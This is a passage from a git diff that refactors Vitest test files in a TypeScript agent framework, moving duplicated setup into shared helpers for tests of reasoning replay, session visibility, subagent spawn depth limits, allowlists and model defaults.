trimmed = raw?.trim(); - if (!trimmed || trimmed === "all") { - return null; - } - const ids = trimmed - .split(",") - .map((s) => s.trim()) - .filter(Boolean); - return ids.length ? new Set(ids) : null; + return parseCsvFilter(raw); } function logProgress(message: string): void { diff --git a/src/agents/openai-responses.reasoning-replay.test.ts b/src/agents/openai-responses.reasoning-replay.test.ts index 0ef535d92d7..95b3630d562 100644 --- a/src/agents/openai-responses.reasoning-replay.test.ts +++ b/src/agents/openai-responses.reasoning-replay.test.ts @@ -18,13 +18,51 @@ function buildModel(): Model<"openai-responses"> { }; } +function extractInputTypes(payload: Record | undefined) { + const input = Array.isArray(payload?.input) ? payload.input : []; + return input + .map((item) => + item && typeof item === "object" ? (item as Record).type : undefined, + ) + .filter((t): t is string => typeof t === "string"); +} + +async function runAbortedOpenAIResponsesStream(params: { + messages: Array< + AssistantMessage | ToolResultMessage | { role: "user"; content: string; timestamp: number } + >; + tools?: Array<{ + name: string; + description: string; + parameters: ReturnType; + }>; +}) { + const controller = new AbortController(); + controller.abort(); + let payload: Record | undefined; + + const stream = streamOpenAIResponses( + buildModel(), + { + systemPrompt: "system", + messages: params.messages, + ...(params.tools ? { tools: params.tools } : {}), + }, + { + apiKey: "test", + signal: controller.signal, + onPayload: (nextPayload) => { + payload = nextPayload as Record; + }, + }, + ); + + await stream.result(); + return extractInputTypes(payload); +} + describe("openai-responses reasoning replay", () => { it("replays reasoning for tool-call-only turns (OpenAI requires it)", async () => { - const model = buildModel(); - const controller = new AbortController(); - controller.abort(); - let payload: Record | undefined; - const assistantToolOnly: AssistantMessage = { role: "assistant", api: "openai-responses", @@ -68,49 +106,29 @@ describe("openai-responses reasoning replay", () => { timestamp: Date.now(), }; - const stream = streamOpenAIResponses( - model, - { - systemPrompt: "system", - messages: [ - { - role: "user", - content: "Call noop.", - timestamp: Date.now(), - }, - assistantToolOnly, - toolResult, - { - role: "user", - content: "Now reply with ok.", - timestamp: Date.now(), - }, - ], - tools: [ - { - name: "noop", - description: "no-op", - parameters: Type.Object({}, { additionalProperties: false }), - }, - ], - }, - { - apiKey: "test", - signal: controller.signal, - onPayload: (nextPayload) => { - payload = nextPayload as Record; + const types = await runAbortedOpenAIResponsesStream({ + messages: [ + { + role: "user", + content: "Call noop.", + timestamp: Date.now(), }, - }, - ); - - await stream.result(); - - const input = Array.isArray(payload?.input) ? payload?.input : []; - const types = input - .map((item) => - item && typeof item === "object" ? (item as Record).type : undefined, - ) - .filter((t): t is string => typeof t === "string"); + assistantToolOnly, + toolResult, + { + role: "user", + content: "Now reply with ok.", + timestamp: Date.now(), + }, + ], + tools: [ + { + name: "noop", + description: "no-op", + parameters: Type.Object({}, { additionalProperties: false }), + }, + ], + }); expect(types).toContain("reasoning"); expect(types).toContain("function_call"); @@ -127,11 +145,6 @@ describe("openai-responses reasoning replay", () => { }); it("still replays reasoning when paired with an assistant message", async () => { - const model = buildModel(); - const controller = new AbortController(); - controller.abort(); - let payload: Record | undefined; - const assistantWithText: AssistantMessage = { role: "assistant", api: "openai-responses", @@ -161,33 +174,13 @@ describe("openai-responses reasoning replay", () => { ], }; - const stream = streamOpenAIResponses( - model, - { - systemPrompt: "system", - messages: [ - { role: "user", content: "Hi", timestamp: Date.now() }, - assistantWithText, - { role: "user", content: "Ok", timestamp: Date.now() }, - ], - }, - { - apiKey: "test", - signal: controller.signal, - onPayload: (nextPayload) => { - payload = nextPayload as Record; - }, - }, - ); - - await stream.result(); - - const input = Array.isArray(payload?.input) ? payload?.input : []; - const types = input - .map((item) => - item && typeof item === "object" ? (item as Record).type : undefined, - ) - .filter((t): t is string => typeof t === "string"); + const types = await runAbortedOpenAIResponsesStream({ + messages: [ + { role: "user", content: "Hi", timestamp: Date.now() }, + assistantWithText, + { role: "user", content: "Ok", timestamp: Date.now() }, + ], + }); expect(types).toContain("reasoning"); expect(types).toContain("message"); diff --git a/src/agents/openclaw-tools.sessions-visibility.e2e.test.ts b/src/agents/openclaw-tools.sessions-visibility.e2e.test.ts index 6f4cfdd03b3..bf959272460 100644 --- a/src/agents/openclaw-tools.sessions-visibility.e2e.test.ts +++ b/src/agents/openclaw-tools.sessions-visibility.e2e.test.ts @@ -20,15 +20,42 @@ vi.mock("../config/config.js", async (importOriginal) => { import "./test-helpers/fast-core-tools.js"; import { createOpenClawTools } from "./openclaw-tools.js"; +function getSessionsHistoryTool(options?: { sandboxed?: boolean }) { + const tool = createOpenClawTools({ + agentSessionKey: "main", + sandboxed: options?.sandboxed, + }).find((candidate) => candidate.name === "sessions_history"); + expect(tool).toBeDefined(); + if (!tool) { + throw new Error("missing sessions_history tool"); + } + return tool; +} + +function mockGatewayWithHistory( + extra?: (req: { method?: string; params?: Record }) => unknown, +) { + callGatewayMock.mockReset(); + callGatewayMock.mockImplementation(async (opts: unknown) => { + const req = opts as { method?: string; params?: Record }; + const handled = extra?.(req); + if (handled !== undefined) { + return handled; + } + if (req.method === "chat.history") { + return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] }; + } + return {}; + }); +} + describe("sessions tools visibility", () => { it("defaults to tree visibility (self + spawned) for sessions_history", async () => { mockConfig = { session: { mainKey: "main", scope: "per-sender" }, tools: { agentToAgent: { enabled: false } }, }; - callGatewayMock.mockReset(); - callGatewayMock.mockImplementation(async (opts: unknown) => { - const req = opts as { method?: string; params?: Record }; + mockGatewayWithHistory((req) => { if (req.method === "sessions.list" && req.params?.spawnedBy === "main") { return { sessions: [{ key: "subagent:child-1" }] }; } @@ -36,19 +63,10 @@ describe("sessions tools visibility", () => { const key = typeof req.params?.key === "string" ? String(req.params?.key) : ""; return { key }; } - if (req.method === "chat.history") { - return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] }; - } - return {}; + return undefined; }); - const tool = createOpenClawTools({ agentSessionKey: "main" }).find( - (candidate) => candidate.name === "sessions_history", - ); - expect(tool).toBeDefined(); - if (!tool) { - throw new Error("missing sessions_history tool"); - } + const tool = getSessionsHistoryTool(); const denied = await tool.execute("call1", { sessionKey: "agent:main:discord:direct:someone-else", @@ -66,22 +84,8 @@ describe("sessions tools visibility", () => { session: { mainKey: "main", scope: "per-sender" }, tools: { sessions: { visibility: "all" }, agentToAgent: { enabled: false } }, }; - callGatewayMock.mockReset(); - callGatewayMock.mockImplementation(async (opts: unknown) => { - const req = opts as { method?: string; params?: Record }; - if (req.method === "chat.history") { - return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] }; - } - return {}; - }); - - const tool = createOpenClawTools({ agentSessionKey: "main" }).find( - (candidate) => candidate.name === "sessions_history", - ); - expect(tool).toBeDefined(); - if (!tool) { - throw new Error("missing sessions_history tool"); - } + mockGatewayWithHistory(); + const tool = getSessionsHistoryTool(); const result = await tool.execute("call3", { sessionKey: "agent:main:discord:direct:someone-else", @@ -97,25 +101,14 @@ describe("sessions tools visibility", () => { tools: { sessions: { visibility: "all" }, agentToAgent: { enabled: true, allow: ["*"] } }, agents: { defaults: { sandbox: { sessionToolsVisibility: "spawned" } } }, }; - callGatewayMock.mockReset(); - callGatewayMock.mockImplementation(async (opts: unknown) => { - const req = opts as { method?: string; params?: Record }; + mockGatewayWithHistory((req) => { if (req.method === "sessions.list" && req.params?.spawnedBy === "main") { return { sessions: [] }; } - if (req.method === "chat.history") { - return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] }; - } - return {}; + return undefined; }); - const tool = createOpenClawTools({ agentSessionKey: "main", sandboxed: true }).find( - (candidate) => candidate.name === "sessions_history", - ); - expect(tool).toBeDefined(); - if (!tool) { - throw new Error("missing sessions_history tool"); - } + const tool = getSessionsHistoryTool({ sandboxed: true }); const denied = await tool.execute("call4", { sessionKey: "agent:other:main", diff --git a/src/agents/openclaw-tools.subagents.sessions-spawn-applies-thinking-default.e2e.test.ts b/src/agents/openclaw-tools.subagents.sessions-spawn-applies-thinking-default.e2e.test.ts index ecd32cab749..279566a0ecd 100644 --- a/src/agents/openclaw-tools.subagents.sessions-spawn-applies-thinking-default.e2e.test.ts +++ b/src/agents/openclaw-tools.subagents.sessions-spawn-applies-thinking-default.e2e.test.ts @@ -52,36 +52,40 @@ function findLastCall(calls: GatewayCall[], predicate: (call: GatewayCall) => bo return undefined; } +async function expectThinkingPropagation(params: { + callId: string; + payload: Record; + expectedThinking: string; +}) { + const tool = createSessionsSpawnTool({ agentSessionKey: "agent:test:main" }); + const result = await tool.execute(params.callId, params.payload); + expect(result.details).toMatchObject({ status: "accepted" }); + + const calls = await getGatewayCalls(); + const agentCall = findLastCall(calls, (call) => call.method === "agent"); + const thinkingPatch = findLastCall( + calls, + (call) => call.method === "sessions.patch" && call.params?.thinkingLevel !== undefined, + ); + + expect(agentCall?.params?.thinking).toBe(params.expectedThinking); + expect(thinkingPatch?.params?.thinkingLevel).toBe(params.expectedThinking); +} + describe("sessions_spawn thinking defaults", () => { it("applies agents.defaults.subagents.thinking when thinking is omitted", async () => { - const tool = createSessionsSpawnTool({ agentSessionKey: "agent:test:main" }); - const result = await tool.execute("call-1", { task: "hello" }); - expect(result.details).toMatchObject({ status: "accepted" }); - - const calls = await getGatewayCalls(); - const agentCall = findLastCall(calls, (call) => call.method === "agent"); - const thinkingPatch = findLastCall( - calls, - (call) => call.method === "sessions.patch" && call.params?.thinkingLevel !== undefined, - ); - - expect(agentCall?.params?.thinking).toBe("high"); - expect(thinkingPatch?.params?.thinkingLevel).toBe("high"); + await expectThinkingPropagation({ + callId: "call-1", + payload: { task: "hello" }, + expectedThinking: "high", + }); }); it("prefers explicit sessions_spawn.thinking over config default", async () => { - const tool = createSessionsSpawnTool({ agentSessionKey: "agent:test:main" }); - const result = await tool.execute("call-2", { task: "hello", thinking: "low" }); - expect(result.details).toMatchObject({ status: "accepted" }); - - const calls = await getGatewayCalls(); - const agentCall = findLastCall(calls, (call) => call.method === "agent"); - const thinkingPatch = findLastCall( - calls, - (call) => call.method === "sessions.patch" && call.params?.thinkingLevel !== undefined, - ); - - expect(agentCall?.params?.thinking).toBe("low"); - expect(thinkingPatch?.params?.thinkingLevel).toBe("low"); + await expectThinkingPropagation({ + callId: "call-2", + payload: { task: "hello", thinking: "low" }, + expectedThinking: "low", + }); }); }); diff --git a/src/agents/openclaw-tools.subagents.sessions-spawn-depth-limits.test.ts b/src/agents/openclaw-tools.subagents.sessions-spawn-depth-limits.test.ts index ee65b5962c3..c541e031617 100644 --- a/src/agents/openclaw-tools.subagents.sessions-spawn-depth-limits.test.ts +++ b/src/agents/openclaw-tools.subagents.sessions-spawn-depth-limits.test.ts @@ -33,6 +33,39 @@ function writeStore(agentId: string, store: Record) { fs.writeFileSync(storePath, JSON.stringify(store, null, 2), "utf-8"); } +function setSubagentLimits(subagents: Record) { + configOverride = { + session: { + mainKey: "main", + scope: "per-sender", + store: storeTemplatePath, + }, + agents: { + defaults: { + subagents, + }, + }, + }; +} + +function seedDepthTwoAncestryStore(params?: { sessionIds?: boolean }) { + const depth1 = "agent:main:subagent:depth-1"; + const callerKey = "agent:main:subagent:depth-2"; + writeStore("main", { + [depth1]: { + sessionId: params?.sessionIds ? "depth-1-session" : "depth-1", + updatedAt: Date.now(), + spawnedBy: "agent:main:main", + }, + [callerKey]: { + sessionId: params?.sessionIds ? "depth-2-session" : "depth-2", + updatedAt: Date.now(), + spawnedBy: depth1, + }, + }); + return { depth1, callerKey }; +} + describe("sessions_spawn depth + child limits", () => { beforeEach(() => { resetSubagentRegistryForTests(); @@ -72,20 +105,7 @@ describe("sessions_spawn depth + child limits", () => { }); it("allows depth-1 callers when maxSpawnDepth is 2", async () => { - configOverride = { - session: { - mainKey: "main", - scope: "per-sender", - store: storeTemplatePath, - }, - agents: { - defaults: { - subagents: { - maxSpawnDepth: 2, - }, - }, - }, - }; + setSubagentLimits({ maxSpawnDepth: 2 }); const tool = createSessionsSpawnTool({ agentSessionKey: "agent:main:subagent:parent" }); const result = await tool.execute("call-depth-allow", { task: "hello" }); @@ -109,20 +129,7 @@ describe("sessions_spawn depth + child limits", () => { }); it("rejects depth-2 callers when maxSpawnDepth is 2 (using stored spawnDepth on flat keys)", async () => { - configOverride = { - session: { - mainKey: "main", - scope: "per-sender", - store: storeTemplatePath, - }, - agents: { - defaults: { - subagents: { - maxSpawnDepth: 2, - }, - }, - }, - }; + setSubagentLimits({ maxSpawnDepth: 2 }); const callerKey = "agent:main:subagent:flat-depth-2"; writeStore("main", { @@ -143,35 +150,8 @@ describe("sessions_spawn depth + child limits", () => { }); it("rejects depth-2 callers when spawnDepth is missing but spawnedBy ancestry implies depth 2", async () => { - configOverride = { - session: { - mainKey: "main", - scope: "per-sender", - store: storeTemplatePath, - }, - agents: { - defaults: { - subagents: { - maxSpawnDepth: 2, - }, - }, - }, - }; - - const depth1 = "agent:main:subagent:depth-1"; - const callerKey = "agent:main:subagent:depth-2"; - writeStore("main", { - [depth1]: { - sessionId: "depth-1", - updatedAt: Date.now(), - spawnedBy: "agent:main:main", - }, - [callerKey]: { - sessionId: "depth-2", - updatedAt: Date.now(), - spawnedBy: depth1, - }, - }); + setSubagentLimits({ maxSpawnDepth: 2 }); + const { callerKey } = seedDepthTwoAncestryStore(); const tool = createSessionsSpawnTool({ agentSessionKey: callerKey }); const result = await tool.execute("call-depth-ancestry-reject", { task: "hello" }); @@ -183,35 +163,8 @@ describe("sessions_spawn depth + child limits", () => { }); it("rejects depth-2 callers when the requester key is a sessionId", async () => { - configOverride = { - session: { - mainKey: "main", - scope: "per-sender", - store: storeTemplatePath, - }, - agents: { - defaults: { - subagents: { - maxSpawnDepth: 2, - }, - }, - }, - }; - - const depth1 = "agent:main:subagent:depth-1"; - const callerKey = "agent:main:subagent:depth-2"; - writeStore("main", { - [depth1]: { - sessionId: "depth-1-session", - updatedAt: Date.now(), - spawnedBy: "agent:main:main", - }, - [callerKey]: { - sessionId: "depth-2-session", - updatedAt: Date.now(), - spawnedBy: depth1, - }, - }); + setSubagentLimits({ maxSpawnDepth: 2 }); + seedDepthTwoAncestryStore({ sessionIds: true }); const tool = createSessionsSpawnTool({ agentSessionKey: "depth-2-session" }); const result = await tool.execute("call-depth-sessionid-reject", { task: "hello" }); diff --git a/src/agents/openclaw-tools.subagents.sessions-spawn.allowlist.e2e.test.ts b/src/agents/openclaw-tools.subagents.sessions-spawn.allowlist.e2e.test.ts index 2e568714b71..9e07dd3b30c 100644 --- a/src/agents/openclaw-tools.subagents.sessions-spawn.allowlist.e2e.test.ts +++ b/src/agents/openclaw-tools.subagents.sessions-spawn.allowlist.e2e.test.ts @@ -2,6 +2,7 @@ import { beforeEach, describe, expect, it } from "vitest"; import "./test-helpers/fast-core-tools.js"; import { getCallGatewayMock, + getSessionsSpawnTool, resetSessionsSpawnConfigOverride, setSessionsSpawnConfigOverride, } from "./openclaw-tools.subagents.sessions-spawn.test-harness.js"; @@ -9,20 +10,71 @@ import { resetSubagentRegistryForTests } from "./subagent-registry.js"; const callGatewayMock = getCallGatewayMock(); -type CreateOpenClawTools = (typeof import("./openclaw-tools.js"))["createOpenClawTools"]; -type CreateOpenClawToolsOpts = Parameters[0]; - -async function getSessionsSpawnTool(opts: CreateOpenClawToolsOpts) { - // Dynamic import: ensure harness mocks are installed before tool modules load. - const { createOpenClawTools } = await import("./openclaw-tools.js"); - const tool = createOpenClawTools(opts).find((candidate) => candidate.name === "sessions_spawn"); - if (!tool) { - throw new Error("missing sessions_spawn tool"); - } - return tool; -} - describe("openclaw-tools: subagents (sessions_spawn allowlist)", () => { + function setAllowAgents(allowAgents: string[]) { + setSessionsSpawnConfigOverride({ + session: { + mainKey: "main", + scope: "per-sender", + }, + agents: { + list: [ + { + id: "main", + subagents: { + allowAgents, + }, + }, + ], + }, + }); + } + + function mockAcceptedSpawn(acceptedAt: number) { + let childSessionKey: string | undefined; + callGatewayMock.mockImplementation(async (opts: unknown) => { + const request = opts as { method?: string; params?: unknown }; + if (request.method === "agent") { + const params = request.params as { sessionKey?: string } | undefined; + childSessionKey = params?.sessionKey; + return { runId: "run-1", status: "accepted", acceptedAt }; + } + if (request.method === "agent.wait") { + return { status: "timeout" }; + } + return {}; + }); + return () => childSessionKey; + } + + async function executeSpawn(callId: string, agentId: string) { + const tool = await getSessionsSpawnTool({ + agentSessionKey: "main", + agentChannel: "whatsapp", + }); + return tool.execute(callId, { task: "do thing", agentId }); + } + + async function expectAllowedSpawn(params: { + allowAgents: string[]; + agentId: string; + callId: string; + acceptedAt: number; + }) { + resetSubagentRegistryForTests(); + callGatewayMock.mockReset(); + setAllowAgents(params.allowAgents); + const getChildSessionKey = mockAcceptedSpawn(params.acceptedAt); + + const result = await executeSpawn(params.callId, params.agentId); + + expect(result.details).toMatchObject({ + status: "accepted", + runId: "run-1", + }); + expect(getChildSessionKey()?.startsWith(`agent:${params.agentId}:subagent:`)).toBe(true); + } + beforeEach(() => { resetSessionsSpawnConfigOverride(); }); @@ -82,155 +134,29 @@ describe("openclaw-tools: subagents (sessions_spawn allowlist)", () => { }); it("sessions_spawn allows cross-agent spawning when configured", async () => { - resetSubagentRegistryForTests(); - callGatewayMock.mockReset(); - setSessionsSpawnConfigOverride({ - session: { - mainKey: "main", - scope: "per-sender", - }, - agents: { - list: [ - { - id: "main", - subagents: { - allowAgents: ["beta"], - }, - }, - ], - }, - }); - - let childSessionKey: string | undefined; - callGatewayMock.mockImplementation(async (opts: unknown) => { - const request = opts as { method?: string; params?: unknown }; - if (request.method === "agent") { - const params = request.params as { sessionKey?: string } | undefined; - childSessionKey = params?.sessionKey; - return { runId: "run-1", status: "accepted", acceptedAt: 5000 }; - } - if (request.method === "agent.wait") { - return { status: "timeout" }; - } - return {}; - }); - - const tool = await getSessionsSpawnTool({ - agentSessionKey: "main", - agentChannel: "whatsapp", - }); - - const result = await tool.execute("call7", { - task: "do thing", + await expectAllowedSpawn({ + allowAgents: ["beta"], agentId: "beta", + callId: "call7", + acceptedAt: 5000, }); - - expect(result.details).toMatchObject({ - status: "accepted", - runId: "run-1", - }); - expect(childSessionKey?.startsWith("agent:beta:subagent:")).toBe(true); }); it("sessions_spawn allows any agent when allowlist is *", async () => { - resetSubagentRegistryForTests(); - callGatewayMock.mockReset(); - setSessionsSpawnConfigOverride({ - session: { - mainKey: "main", - scope: "per-sender", - }, - agents: { - list: [ - { - id: "main", - subagents: { - allowAgents: ["*"], - }, - }, - ], - }, - }); - - let childSessionKey: string | undefined; - callGatewayMock.mockImplementation(async (opts: unknown) => { - const request = opts as { method?: string; params?: unknown }; - if (request.method === "agent") { - const params = request.params as { sessionKey?: string } | undefined; - childSessionKey = params?.sessionKey; - return { runId: "run-1", status: "accepted", acceptedAt: 5100 }; - } - if (request.method === "agent.wait") { - return { status: "timeout" }; - } - return {}; - }); - - const tool = await getSessionsSpawnTool({ - agentSessionKey: "main", - agentChannel: "whatsapp", - }); - - const result = await tool.execute("call8", { - task: "do thing", + await expectAllowedSpawn({ + allowAgents: ["*"], agentId: "beta", + callId: "call8", + acceptedAt: 5100, }); - - expect(result.details).toMatchObject({ - status: "accepted", - runId: "run-1", - }); - expect(childSessionKey?.startsWith("agent:beta:subagent:")).toBe(true); }); it("sessions_spawn normalizes allowlisted agent ids", async () => { - resetSubagentRegistryForTests(); - callGatewayMock.mockReset(); - setSessionsSpawnConfigOverride({ - session: { - mainKey: "main", - scope: "per-sender", - }, - agents: { - list: [ - { - id: "main", - subagents: { - allowAgents: ["Research"], - }, - }, - ], - }, - }); - - let childSessionKey: string | undefined; - callGatewayMock.mockImplementation(async (opts: unknown) => { - const request = opts as { method?: string; params?: unknown }; - if (request.method === "agent") { - const params = request.params as { sessionKey?: string } | undefined; - childSessionKey = params?.sessionKey; - return { runId: "run-1", status: "accepted", acceptedAt: 5200 }; - } - if (request.method === "agent.wait") { - return { status: "timeout" }; - } - return {}; - }); - - const tool = await getSessionsSpawnTool({ - agentSessionKey: "main", - agentChannel: "whatsapp", - }); - - const result = await tool.execute("call10", { - task: "do thing", + await expectAllowedSpawn({ + allowAgents: ["Research"], agentId: "research", + callId: "call10", + acceptedAt: 5200, }); - - expect(result.details).toMatchObject({ - status: "accepted", - runId: "run-1", - }); - expect(childSessionKey?.startsWith("agent:research:subagent:")).toBe(true); }); }); diff --git a/src/agents/openclaw-tools.subagents.sessions-spawn.model.e2e.test.ts b/src/agents/openclaw-tools.subagents.sessions-spawn.model.e2e.test.ts index 288f3b44611..5465285498c 100644 --- a/src/agents/openclaw-tools.subagents.sessions-spawn.model.e2e.test.ts +++ b/src/agents/openclaw-tools.subagents.sessions-spawn.model.e2e.test.ts @@ -3,24 +3,60 @@ import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "./defaults.js"; import "./test-helpers/fast-core-tools.js"; import { getCallGatewayMock, + getSessionsSpawnTool, resetSessionsSpawnConfigOverride, setSessionsSpawnConfigOverride, } from "./openclaw-tools.subagents.sessions-spawn.test-harness.js"; import { resetSubagentRegistryForTests } from "./subagent-registry.js"; const callGatewayMock = getCallGatewayMock(); +type GatewayCall = { method?: string; params?: unknown }; -type CreateOpenClawTools = (typeof import("./openclaw-tools.js"))["createOpenClawTools"]; -type CreateOpenClawToolsOpts = Parameters[0]; +function mockLongRunningSpawnFlow(params: { + calls: GatewayCall[]; + acceptedAtBase: number; + patch?: (request: GatewayCall) => Promise; +}) { + let agentCallCount = 0; + callGatewayMock.mockImplementation(async (opts: unknown) => { + const request = opts as GatewayCall; + params.calls.push(request); + if (request.method === "sessions.patch") { + if (params.patch) { + return await params.patch(request); + } + return { ok: true }; + } + if (request.method === "agent") { + agentCallCount += 1; + return { + runId: `run-${agentCallCount}`, + status: "accepted", + acceptedAt: params.acceptedAtBase + agentCallCount, + }; + } + if (request.method === "agent.wait") { + return { status: "timeout" }; + } + if (request.method === "sessions.delete") { + return { ok: true }; + } + return {}; + }); +} -async function getSessionsSpawnTool(opts: CreateOpenClawToolsOpts) { - // Dynamic import: ensure harness mocks are installed before tool modules load. - const { createOpenClawTools } = await import("./openclaw-tools.js"); - const tool = createOpenClawTools(opts).find((candidate) => candidate.name === "sessions_spawn"); - if (!tool) { - throw new Error("missing sessions_spawn tool"); - } - return tool; +function mockPatchAndSingleAgentRun(params: { calls: GatewayCall[]; runId: string }) { + callGatewayMock.mockImplementation(async (opts: unknown) => { + const request = opts as GatewayCall; + params.calls.push(request); + if (request.method === "sessions.patch") { + return { ok: true }; + } + if (request.method === "agent") { + return { runId: params.runId, status: "accepted" }; + } + return {}; + }); } describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => { @@ -31,32 +67,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => { it("sessions_spawn applies a model to the child session", async () => { resetSubagentRegistryForTests(); callGatewayMock.mockReset(); - const calls: Array<{ method?: string; params?: unknown }> = []; - let agentCallCount = 0; - - callGatewayMock.mockImplementation(async (opts: unknown) => { - const request = opts as { method?: string; params?: unknown }; - calls.push(request); - if (request.method === "sessions.patch") { - return { ok: true }; - } - if (request.method === "agent") { - agentCallCount += 1; - const runId = `run-${agentCallCount}`; - return { - runId, - status: "accepted", - acceptedAt: 3000 + agentCallCount, - }; - } - if (request.method === "agent.wait") { - return { status: "timeout" }; - } - if (request.method === "sessions.delete") { - return { ok: true }; - } - return {}; - }); + const calls: GatewayCall[] = []; + mockLongRunningSpawnFlow({ calls, acceptedAtBase: 3000 }); const tool = await getSessionsSpawnTool({ agentSessionKey: "discord:group:req", @@ -155,19 +167,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => { session: { mainKey: "main", scope: "per-sender" }, agents: { defaults: { subagents: { model: "minimax/MiniMax-M2.1" } } }, }); - const calls: Array<{ method?: string; params?: unknown }> = []; - - callGatewayMock.mockImplementation(async (opts: unknown) => { - const request = opts as { method?: string; params?: unknown }; - calls.push(request); - if (request.method === "sessions.patch") { - return { ok: true }; - } - if (request.method === "agent") { - return { runId: "run-default-model", status: "accepted" }; - } - return {}; - }); + const calls: GatewayCall[] = []; + mockPatchAndSingleAgentRun({ calls, runId: "run-default-model" }); const tool = await getSessionsSpawnTool({ agentSessionKey: "agent:main:main", @@ -193,19 +194,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => { it("sessions_spawn falls back to runtime default model when no model config is set", async () => { resetSubagentRegistryForTests(); callGatewayMock.mockReset(); - const calls: Array<{ method?: string; params?: unknown }> = []; - - callGatewayMock.mockImplementation(async (opts: unknown) => { - const request = opts as { method?: string; params?: unknown }; - calls.push(request); - if (request.method === "sessions.patch") { - return { ok: true }; - } - if (request.method === "agent") { - return { runId: "run-runtime-default-model", status: "accepted" }; - } - return {}; - }); + const calls: GatewayCall[] = []; + mockPatchAndSingleAgentRun({ calls, runId: "run-runtime-default-model" }); const tool = await getSessionsSpawnTool({ agentSessionKey: "agent:main:main", @@ -238,19 +228,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => { list: [{ id: "research", subagents: { model: "opencode/claude" } }], }, }); - const calls: Array<{ method?: string; params?: unknown }> = []; - - callGatewayMock.mockImplementation(async (opts: unknown) => { - const request = opts as { method?: string; params?: unknown }; - calls.push(request); - if (request.method === "sessions.patch") { - return { ok: true }; - } - if (request.method === "agent") { - return { runId: "run-agent-model", status: "accepted" }; - } - return {}; - }); + const calls: GatewayCall[] = []; + mockPatchAndSingleAgentRun({ calls, runId: "run-agent-model" }); const tool = await getSessionsSpawnTool({ agentSessionKey: "agent:research:main", @@ -276,35 +255,17 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => { it("sessions_spawn skips invalid model overrides and continues", async () => { resetSubagentRegistryForTests(); callGatewayMock.mockReset(); - const calls: Array<{ method?: string; params?: unknown }> = []; - let agentCallCount = 0; - - callGatewayMock.mockImplementation(async (opts: unknown) => { - const request = opts as { method?: string; params?: unknown }; - calls.push(request); - if (request.method === "sessions.patch") { + const calls: GatewayCall[] = []; + mockLongRunningSpawnFlow({ + calls, + acceptedAtBase: 4000, + patch: async (request) => { const model = (request.params as { model?: unknown } | undefined)?.model; if (model === "bad-model") { throw new Error("invalid model: bad-model"); } return { ok: true }; - } - if (request.method === "agent") { - agentCallCount += 1; - const runId = `run-${agentCallCount}`; - return { - runId, - status: "accepted", - acceptedAt: 4000 + agentCallCount, - }; - } - if (request.method === "agent.wait") { - return { status: "timeout" }; - } - if (request.method === "sessions.delete") { - return { ok: true }; - } - return {}; + }, }); const tool = await getSessionsSpawnTool({ diff --git a/src/agents/openclaw-tools.subagents.sessions-spawn.test-harness.ts b/src/agents/openclaw-tools.subagents.sessions-spawn.test-harness.ts index 8aec6bb8733..d13bf231f2f 100644 --- a/src/agents/openclaw-tools.subagents.sessions-spawn.test-harness.ts +++ b/src/agents/openclaw-tools.subagents.sessions-spawn.test-harness.ts @@ -1,6 +1,8 @@ import { vi } from "vitest"; type SessionsSpawnTestConfig = ReturnType<(typeof import("../config/config.js"))["loadConfig"]>; +type CreateOpenClawTools = (typeof import("./openclaw-tools.js"))["createOpenClawTools"]; +export type CreateOpenClawToolsOpts = Parameters[0]; // Avoid exporting vitest mock types (TS2742 under pnpm + d.ts emit). // oxlint-disable-next-line typescript/no-explicit-any @@ -30,6 +32,16 @@ export function setSessionsSpawnConfigOverride(next: SessionsSpawnTestConfig): v hoisted.state.configOverride = next; } +export async function getSessionsSpawnTool(opts: CreateOpenClawToolsOpts) { + // Dynamic import: ensure harness mocks are installed before tool modules load. + const { createOpenClawTools } = await import("./openclaw-tools.js"); + const tool = createOpenClawTools(opts).find((candidate) => candidate.name === "sessions_spawn"); + if (!tool) { + throw new Error("missing sessions_spawn tool"); + } + return tool; +} + vi.mock("../gateway/call.js", () => ({ callGateway: (opts: unknown) => hoisted.callGatewayMock(opts), })); diff --git a/src/agents/openclaw-tools.subagents.steer-failure-clears-suppression.test.ts b/src/agents/openclaw-tools.subagents.steer-failure-clears-suppression.test.ts index 38d1c825cd6..6ab4e986069 100644 --- a/src/agents/openclaw-tools.subagents.steer-failure-clears-suppression.test.ts +++ b/src/agents/openclaw-tools.subagents.steer-failure-clears-suppression.test.ts @@ -2,51 +2,36 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; import { beforeEach, describe, expect, it, vi } from "vitest"; - -const callGatewayMock = vi.fn(); - -vi.mock("../gateway/call.js", () => ({ - callGateway: (opts: unknown) => callGatewayMock(opts), -})); - -let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfig"]> = { - session: { - mainKey: "main", - scope: "per-sender", - }, -}; - -vi.mock("../config/config.js", async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - loadConfig: () => configOverride, - }; -}); - -import "./test-helpers/fast-core-tools.js"; -import { createOpenClawTools } from "./openclaw-tools.js"; import { - addSubagentRunForTests, - listSubagentRunsForRequester, - resetSubagentRegistryForTests, -} from "./subagent-registry.js"; + callGatewayMock, + setSubagentsConfigOverride, +} from "./openclaw-tools.subagents.test-harness.js"; +import "./test-helpers/fast-core-tools.js"; + +let createOpenClawTools: (typeof import("./openclaw-tools.js"))["createOpenClawTools"]; +let addSubagentRunForTests: (typeof import("./subagent-registry.js"))["addSubagentRunForTests"]; +let listSubagentRunsForRequester: (typeof import("./subagent-registry.js"))["listSubagentRunsForRequester"]; +let resetSubagentRegistryForTests: (typeof import("./subagent-registry.js"))["resetSubagentRegistryForTests"]; describe("openclaw-tools: subagents steer failure", () => { - beforeEach(() => { + beforeEach(async () => { + vi.resetModules(); + ({ createOpenClawTools } = await import("./openclaw-tools.js")); + ({ addSubagentRunForTests, listSubagentRunsForRequester, resetSubagentRegistryForTests } = + await import("./subagent-registry.js")); resetSubagentRegistryForTests(); callGatewayMock.mockReset(); const storePath = path.join( os.tmpdir(), 